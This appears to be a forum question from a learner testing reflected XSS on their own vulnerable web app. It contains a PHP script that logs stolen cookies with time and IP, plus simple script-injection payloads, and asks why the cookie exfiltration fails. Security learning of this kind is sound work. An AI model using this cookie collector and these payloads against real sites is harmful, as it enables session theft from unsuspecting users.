I am trying to learn about XSS so in order to that I have made a web app vulnerable to reflected XSS. I am trying to steal the user's cookies, so if I write the following the cookie value is displayed:
I want to send the cookie value to the following PHP script (getcookies.php) in my localhost:
<?php $file = 'cookies_list.txt'; $stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . ' Cookie: ' . $_GET["c"] . PHP_EOL; file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX); ?>
When I write in the browser's URL this, the PHP script gets the 'test' value of c param.
Instead when I write this, the PHP script does not get any value.
Could somebody tell me why it doesn't work?
I can also execute this payloads:
message=<script>document.body.innerHTML = '';</script> message=<script>document.write("hi");</script>
The cookies are not HttpOnly.
No, the GET request is not sent to the server.